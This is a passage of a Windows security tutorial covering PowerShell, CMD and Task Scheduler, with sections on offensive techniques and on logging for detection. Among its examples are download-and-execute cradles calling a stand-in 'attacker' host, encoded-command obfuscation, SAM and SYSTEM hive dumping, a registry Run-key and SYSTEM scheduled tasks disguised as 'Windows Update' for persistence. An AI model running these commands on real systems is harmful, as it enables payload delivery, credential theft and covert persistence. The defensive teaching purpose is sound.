&lt;/span&gt;&lt;span class="n"&gt;Get-Item&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"HKLM:\SOFTWARE\..."&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-ErrorAction&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;SilentlyContinue&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c"&gt;# Registry&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-Content&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\file.txt&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c"&gt;# Read file&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-FileHash&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\file.exe&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Algorithm&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;SHA256&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c"&gt;# Hash a file&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# User and group&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-LocalUser&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nx"&gt;Get-LocalGroup&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-LocalGroupMember&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Group&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Administrators"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;whoami&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/all&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c"&gt;# Current user, groups, and privileges&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# Event logs&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-WinEvent&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-LogName&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Security&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-MaxEvents&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;100&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-WinEvent&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-FilterHashtable&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;@{&lt;/span&gt;&lt;span class="nx"&gt;LogName&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'Security'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;4624&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;StartTime&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="err"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;Get&lt;/span&gt;&lt;span class="err"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;Date&lt;/span&gt;&lt;span class="err"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;AddDays&lt;/span&gt;&lt;span class="err"&gt;(-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="err"&gt;)&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# Active Directory (if RSAT installed or on DC)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-ADUser&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Filter&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Properties&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-ADGroupMember&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Identity&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Domain Admins"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-ADComputer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Filter&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Properties&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  10.4 PowerShell for Offensive Operations — Understanding the Threat
&lt;/h3&gt;

&lt;p&gt;Understanding how PowerShell is weaponised is essential for both attackers (in authorised pentests) and defenders (to build detections):&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Download Cradles — The Most Common Technique:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Download and execute in memory (no file written to disk)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;IEX&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;New-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Net.WebClient&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;DownloadString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'http://attacker/payload.ps1'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# Using Invoke-RestMethod&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;IEX&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Invoke-RestMethod&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'http://attacker/payload.ps1'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# Using certutil to download (LOLBin)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;certutil&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-urlcache&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-split&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-f&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;http://attacker/payload.exe&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\temp\payload.exe&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# Using bitsadmin (LOLBin)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;bitsadmin&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/transfer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;job&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;http://attacker/payload.exe&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\temp\payload.exe&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Encoded Commands — Obfuscation:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Attackers encode payloads to evade signature detection&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nv"&gt;$command&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'Write-Host "Executed"'&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nv"&gt;$bytes&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;System.Text.Encoding&lt;/span&gt;&lt;span class="p"&gt;]::&lt;/span&gt;&lt;span class="n"&gt;Unicode.GetBytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$command&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nv"&gt;$encoded&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Convert&lt;/span&gt;&lt;span class="p"&gt;]::&lt;/span&gt;&lt;span class="n"&gt;ToBase64String&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$bytes&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;powershell.exe&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-EncodedCommand&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$encoded&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# Defenders decode these for analysis:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;System.Text.Encoding&lt;/span&gt;&lt;span class="p"&gt;]::&lt;/span&gt;&lt;span class="n"&gt;Unicode.GetString&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;Convert&lt;/span&gt;&lt;span class="p"&gt;]::&lt;/span&gt;&lt;span class="n"&gt;FromBase64String&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$encoded&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  10.5 PowerShell Logging — The Defender's Best Friend
&lt;/h3&gt;

&lt;p&gt;Three levels of PowerShell logging are critical for security operations:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. Module Logging (Event ID 4103):&lt;/strong&gt;&lt;br&gt;
Logs all pipeline execution and output. Very verbose.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. Script Block Logging (Event ID 4104):&lt;/strong&gt;&lt;br&gt;
Logs the actual content of every script block executed — including deobfuscated content. This is why AMSI bypass attempts and encoded commands still get detected — PowerShell logs the decoded content before execution.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Enable script block logging via registry&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Set-ItemProperty&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;`
&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;-Name&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;EnableScriptBlockLogging&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Value&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Force&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# Log location: Microsoft-Windows-PowerShell/Operational (Event ID 4104)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-WinEvent&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-LogName&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Microsoft-Windows-PowerShell/Operational"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="n"&gt;Where-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Id&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-eq&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4104&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="n"&gt;Select-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;TimeCreated&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Message&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="n"&gt;Format-List&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;3. Transcription Logging:&lt;/strong&gt;&lt;br&gt;
Logs all input and output to a text file — like a complete session recording.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Enable transcription via policy&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Set-ItemProperty&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;`
&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;-Name&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;EnableTranscripting&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Value&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Force&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Set-ItemProperty&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;`
&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;-Name&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;OutputDirectory&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Value&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"C:\PSTranscripts"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Force&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Professional Note:&lt;/strong&gt; Enabling Script Block Logging should be one of the first steps in any Windows security hardening programme. It dramatically increases visibility into PowerShell-based attacks. Combined with a SIEM or log aggregation solution, it enables detection of most PowerShell-based attack techniques.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  11. CMD — Core Commands
&lt;/h2&gt;

&lt;h3&gt;
  
  
  11.1 CMD vs PowerShell
&lt;/h3&gt;

&lt;p&gt;CMD (Command Prompt, &lt;code&gt;cmd.exe&lt;/code&gt;) is the legacy Windows command interpreter. It predates PowerShell and is significantly less powerful, but it remains important because:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Available on all Windows versions including legacy systems common in OT environments&lt;/li&gt;
&lt;li&gt;Simpler and faster for basic tasks&lt;/li&gt;
&lt;li&gt;Many malware scripts still use CMD&lt;/li&gt;
&lt;li&gt;Log analysis sometimes reveals CMD commands used by attackers&lt;/li&gt;
&lt;li&gt;Some tools and situations still require CMD&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  11.2 Essential CMD Commands for Security Work
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;System Reconnaissance:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;:: System information
systeminfo
hostname
whoami
whoami /all         :: User, groups, and privileges
ipconfig /all       :: Network configuration
net user            :: List local users
net localgroup      :: List local groups
net localgroup Administrators  :: Who is in Administrators?

:: Process and network
tasklist /v         :: Process list with details
tasklist /svc       :: Services hosted in each process
netstat -ano        :: Active connections with PID
netstat -b          :: Which process owns each connection (requires admin)

:: Environment
set                 :: All environment variables
echo %PATH%
echo %COMPUTERNAME%
echo %USERNAME%
echo %USERDOMAIN%
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;File System:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;:: Directory listing
dir /a /s C:\interesting_directory  :: All files including hidden, recursive
dir /r                              :: Show alternate data streams
type file.txt                       :: Read file
more file.txt                       :: Read file page by page

:: Find files
where /r C:\ *.ps1     :: Find all PowerShell scripts
where /r C:\ passwords.txt

:: File operations
copy source.txt dest.txt
move source.txt dest.txt
del file.txt
rmdir /s /q directory
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Networking:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;:: Network connectivity
ping target_ip
ping -n 1 -w 1000 192.168.1.1   :: Quick ping (1 packet, 1 second timeout)
tracert target_ip

:: DNS
nslookup domain.com
nslookup -type=MX domain.com
nslookup -type=TXT domain.com

:: ARP cache (local network discovery)
arp -a

:: Routing
route print

:: Remote connectivity test
telnet target_ip port             :: Test if port is open (if telnet is installed)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Registry:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;:: Query registry
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
reg query HKLM /f password /t REG_SZ /s  :: Search for "password" in all HKLM values

:: Add/modify (requires appropriate permissions)
reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Updater" /t REG_SZ /d "C:\evil.exe" /f

:: Save and load hives
reg save HKLM\SAM C:\sam.hive
reg save HKLM\SYSTEM C:\system.hive
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Service and Process Management:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;:: Services
sc query                    :: List all services
sc query type= all state= all  :: All services including stopped
sc qc ServiceName           :: Query service configuration
sc start ServiceName
sc stop ServiceName
sc create MyService binPath= "C:\service.exe" start= auto

:: Processes
taskkill /PID 1234 /F       :: Force kill by PID
taskkill /IM notepad.exe /F :: Force kill by name
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Scheduled Tasks:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;:: List all scheduled tasks
schtasks /query /fo LIST /v

:: Create a task (common persistence technique)
schtasks /create /tn "Windows Update" /tr "C:\evil.exe" /sc ONLOGON /ru SYSTEM

:: Delete a task
schtasks /delete /tn "TaskName" /f
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  12. Task Scheduler
&lt;/h2&gt;

&lt;h3&gt;
  
  
  12.1 Task Scheduler Architecture
&lt;/h3&gt;

&lt;p&gt;Task Scheduler is one of the most commonly abused persistence mechanisms in Windows. Attackers love it because:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Tasks can run as any user, including SYSTEM&lt;/li&gt;
&lt;li&gt;Tasks survive reboots&lt;/li&gt;
&lt;li&gt;Tasks can be hidden from normal view&lt;/li&gt;
&lt;li&gt;Tasks can be triggered by dozens of conditions (logon, time, events, system state)&lt;/li&gt;
&lt;li&gt;Tasks are legitimate Windows functionality — hard to distinguish from benign tasks without investigation&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  12.2 Task Structure
&lt;/h3&gt;

&lt;p&gt;Each scheduled task has:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Trigger&lt;/strong&gt; — What causes it to run (time, logon, event, idle, etc.)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Action&lt;/strong&gt; — What to execute (program, script)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Principal&lt;/strong&gt; — What account to run as&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Conditions&lt;/strong&gt; — Additional constraints (only when idle, only on AC power, etc.)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Settings&lt;/strong&gt; — Run if missed, restart on failure, etc.
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;&lt;span class="c"&gt;&amp;lt;!-- Example task XML structure --&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;Task&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;Triggers&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;LogonTrigger&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;Enabled&amp;gt;&lt;/span&gt;true&lt;span class="nt"&gt;&amp;lt;/Enabled&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;/LogonTrigger&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;/Triggers&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;Actions&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;Exec&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;Command&amp;gt;&lt;/span&gt;powershell.exe&lt;span class="nt"&gt;&amp;lt;/Command&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;Arguments&amp;gt;&lt;/span&gt;-NonInteractive -WindowStyle Hidden -EncodedCommand BASE64PAYLOAD&lt;span class="nt"&gt;&amp;lt;/Arguments&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;/Exec&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;/Actions&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;Principals&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;Principal&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;UserId&amp;gt;&lt;/span&gt;S-1-5-18&lt;span class="nt"&gt;&amp;lt;/UserId&amp;gt;&lt;/span&gt;  &lt;span class="c"&gt;&amp;lt;!-- SYSTEM --&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;RunLevel&amp;gt;&lt;/span&gt;HighestAvailable&lt;span class="nt"&gt;&amp;lt;/RunLevel&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;/Principal&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;/Principals&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/Task&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  12.3 Task Scheduler as Persistence — Attack and Detection
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Creating Malicious Tasks:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="c"&gt;# PowerShell — create a SYSTEM-level task that runs at logon&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nv"&gt;$action&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;New-ScheduledTaskAction&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Execute&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"powershell.exe"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;`
&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;-Argument&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"-NonInteractive -WindowStyle Hidden -EncodedCommand BASE64PAYLOAD"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nv"&gt;$trigger&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;New-ScheduledTaskTrigger&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-AtLogOn&lt;/span&gt;&lt;span class="w"&gt;
